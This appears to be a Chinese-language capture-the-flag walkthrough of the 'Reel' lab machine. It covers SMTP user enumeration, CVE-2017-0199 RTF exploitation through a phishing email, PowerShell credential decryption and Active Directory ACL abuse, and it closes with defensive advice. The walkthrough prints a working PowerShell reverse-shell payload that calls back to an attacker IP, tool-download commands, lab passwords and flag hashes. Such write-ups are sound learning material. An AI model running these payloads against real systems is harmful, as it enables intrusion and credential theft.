Meachines] [Hard] Reel SMTP_ENUM+RTF+PSCredential+TOL-API+DC-OOC+ACLS+WriteDacl+BackupScript.ps1
字数 1799 2025-09-23 19:27:46

Meachines Hard: Reel SMTP 渗透测试教学文档

1. 信息收集

1.1 初始扫描

  • 目标IP: 10.10.10.77
  • 开放端口和服务:
    • 21/tcp: FTP (Microsoft ftpd) - 允许匿名登录
    • 22/tcp: SSH (OpenSSH 7.6)
    • 25/tcp: SMTP (REEL邮件服务)
    • 135/tcp: MSRPC
    • 139/tcp: NetBIOS-SSN
    • 445/tcp: Microsoft-ds (Windows Server 2012 R2 Standard)
    • 593/tcp: ncacn_http (RPC over HTTP)
    • 49159/tcp: MSRPC

1.2 FTP枚举

  • 匿名登录发现/documents目录
  • 重要文件:
    • AppLocker.docx: 记录了AppLocker策略,限制exe、msi和脚本(ps1,vbs,cmd,bat,js)执行
    • readme.txt: 请求发送RTF格式的流程文档
    • Windows Event Forwarding.docx
    • 发现邮箱地址: nico@megabank.com

2. SMTP用户枚举

2.1 使用smtp-user-enum工具

./smtp-user-enum.pl -M RCPT -U test.txt -t 10.10.10.77
  • 确认存在的用户:
    • reel@htb
    • reel@htb.local
    • reel@reel.htb
    • administrator@htb
    • admin@htb
    • root@htb
    • nico@megabank.com
    • htb@metabank.com

3. RTF漏洞利用(CVE-2017-0199)

3.1 漏洞概述

  • Microsoft Office/Word RTF远程代码执行漏洞
  • 利用OLE对象处理不当,远程下载执行恶意程序

3.2 利用步骤

  1. 创建恶意HTA文件(exp.hta):
<html>
<script>
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -nop -w hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.14',443);$stream = $client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
</script>
</html>
  1. 使用cve-2017-0199_toolkit生成恶意RTF文件:
python2 cve-2017-0199_toolkit.py -M gen -w exp.rtf -u 'http://10.10.16.14/exp.hta' -t rtf -x 0
  1. 通过SMTP发送恶意RTF文件:
sendEmail -f MAPTNH@H4CK13.com -t nico@megabank.com -u "N" -m "N" -a exp.rtf -s 10.10.10.77 -v
  1. 获取初始访问权限后找到user.txt:
f09ba4f30e33ac3919e92ce22c4ae41a

4. 权限提升(nico → tom)

4.1 发现PSCredential文件

  • 在nico的桌面找到cred.xml
  • 解密凭证:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
  • 获取tom的凭证:
    • 用户名: Tom
    • 密码: 1ts-mag1c!!!

4.2 使用SSH登录tom账户

ssh Tom@10.10.10.77

5. 权限提升(tom → claire)

5.1 使用SharpHound收集AD信息

Invoke-WebRequest -Uri 'http://10.10.16.14:10831/download_with_token/347e144f97ab43199fc30e4c29ffb2d7' -OutFile 'SharpHound.exe'
.\SharpHound.exe -c All

5.2 分析ACLs

  • tom对claire有Owns和WriteOwner权限
  • 使用PowerView进行权限操作:
  1. 下载PowerView.ps1:
Invoke-WebRequest -Uri 'http://10.10.16.14:10831/download_with_token/b4eeaed57b644ab5bb0994d180743118' -OutFile 'PowerView.ps1'
Import-Module .\PowerView.ps1
  1. 设置tom为claire的拥有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
  1. 添加重置密码权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
  1. 重置claire密码:
$cred = ConvertTo-SecureString "ThisMyPassword!@" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
  1. 使用SSH登录claire账户:
ssh claire@10.10.10.77

6. 权限提升(claire → backup admin → administrator)

6.1 利用WriteDacl权限

  • claire对Backup admin组有WriteDacl权限
  • Backup admin组对域控管理员有Owns权限

6.2 添加claire到backup_admins组

net group backup_admins claire /add

6.3 查找备份脚本中的密码

Get-ChildItem -Path . -Recurse -File | Select-String -Pattern "password" | Select-Object Path, LineNumber, Line
  • 发现密码: Cr4ckMeIfYouC4n!

6.4 使用SSH登录administrator账户

ssh administrator@10.10.10.77

7. 获取root.txt

bdfd2f6a549ea1a6fd7d1306e5c771cd

关键工具和技术总结

  1. SMTP用户枚举: 使用smtp-user-enum.pl通过RCPT TO命令验证用户存在性
  2. CVE-2017-0199: RTF文件漏洞利用,通过恶意HTA文件获取初始访问
  3. PowerShell Credential解密: 从XML文件中提取存储的凭据
  4. Active Directory枚举: 使用SharpHound收集域信息
  5. ACL滥用:
    • 使用PowerView的Set-DomainObjectOwner和Add-DomainObjectAcl
    • 利用WriteDacl权限将用户添加到特权组
  6. 密码搜索: 在脚本文件中查找硬编码凭据

防御建议

  1. 禁用SMTP匿名枚举功能
  2. 及时安装Office安全更新,防止CVE-2017-0199等漏洞
  3. 避免在文件中存储明文或可解密的凭据
  4. 定期审计Active Directory权限,特别是ACLs
  5. 实施最小权限原则,限制用户不必要的权限
  6. 避免在脚本中硬编码敏感信息
Meachines Hard: Reel SMTP 渗透测试教学文档 1. 信息收集 1.1 初始扫描 目标IP: 10.10.10.77 开放端口和服务: 21/tcp: FTP (Microsoft ftpd) - 允许匿名登录 22/tcp: SSH (OpenSSH 7.6) 25/tcp: SMTP (REEL邮件服务) 135/tcp: MSRPC 139/tcp: NetBIOS-SSN 445/tcp: Microsoft-ds (Windows Server 2012 R2 Standard) 593/tcp: ncacn_ http (RPC over HTTP) 49159/tcp: MSRPC 1.2 FTP枚举 匿名登录发现/documents目录 重要文件: AppLocker.docx: 记录了AppLocker策略,限制exe、msi和脚本(ps1,vbs,cmd,bat,js)执行 readme.txt: 请求发送RTF格式的流程文档 Windows Event Forwarding.docx 发现邮箱地址: nico@megabank.com 2. SMTP用户枚举 2.1 使用smtp-user-enum工具 确认存在的用户: reel@htb reel@htb.local reel@reel.htb administrator@htb admin@htb root@htb nico@megabank.com htb@metabank.com 3. RTF漏洞利用(CVE-2017-0199) 3.1 漏洞概述 Microsoft Office/Word RTF远程代码执行漏洞 利用OLE对象处理不当,远程下载执行恶意程序 3.2 利用步骤 创建恶意HTA文件(exp.hta): 使用cve-2017-0199_ toolkit生成恶意RTF文件: 通过SMTP发送恶意RTF文件: 获取初始访问权限后找到user.txt: 4. 权限提升(nico → tom) 4.1 发现PSCredential文件 在nico的桌面找到cred.xml 解密凭证: 获取tom的凭证: 用户名: Tom 密码: 1ts-mag1c!! ! 4.2 使用SSH登录tom账户 5. 权限提升(tom → claire) 5.1 使用SharpHound收集AD信息 5.2 分析ACLs tom对claire有Owns和WriteOwner权限 使用PowerView进行权限操作: 下载PowerView.ps1: 设置tom为claire的拥有者: 添加重置密码权限: 重置claire密码: 使用SSH登录claire账户: 6. 权限提升(claire → backup admin → administrator) 6.1 利用WriteDacl权限 claire对Backup admin组有WriteDacl权限 Backup admin组对域控管理员有Owns权限 6.2 添加claire到backup_ admins组 6.3 查找备份脚本中的密码 发现密码: Cr4ckMeIfYouC4n ! 6.4 使用SSH登录administrator账户 7. 获取root.txt 关键工具和技术总结 SMTP用户枚举 : 使用smtp-user-enum.pl通过RCPT TO命令验证用户存在性 CVE-2017-0199 : RTF文件漏洞利用,通过恶意HTA文件获取初始访问 PowerShell Credential解密 : 从XML文件中提取存储的凭据 Active Directory枚举 : 使用SharpHound收集域信息 ACL滥用 : 使用PowerView的Set-DomainObjectOwner和Add-DomainObjectAcl 利用WriteDacl权限将用户添加到特权组 密码搜索 : 在脚本文件中查找硬编码凭据 防御建议 禁用SMTP匿名枚举功能 及时安装Office安全更新,防止CVE-2017-0199等漏洞 避免在文件中存储明文或可解密的凭据 定期审计Active Directory权限,特别是ACLs 实施最小权限原则,限制用户不必要的权限 避免在脚本中硬编码敏感信息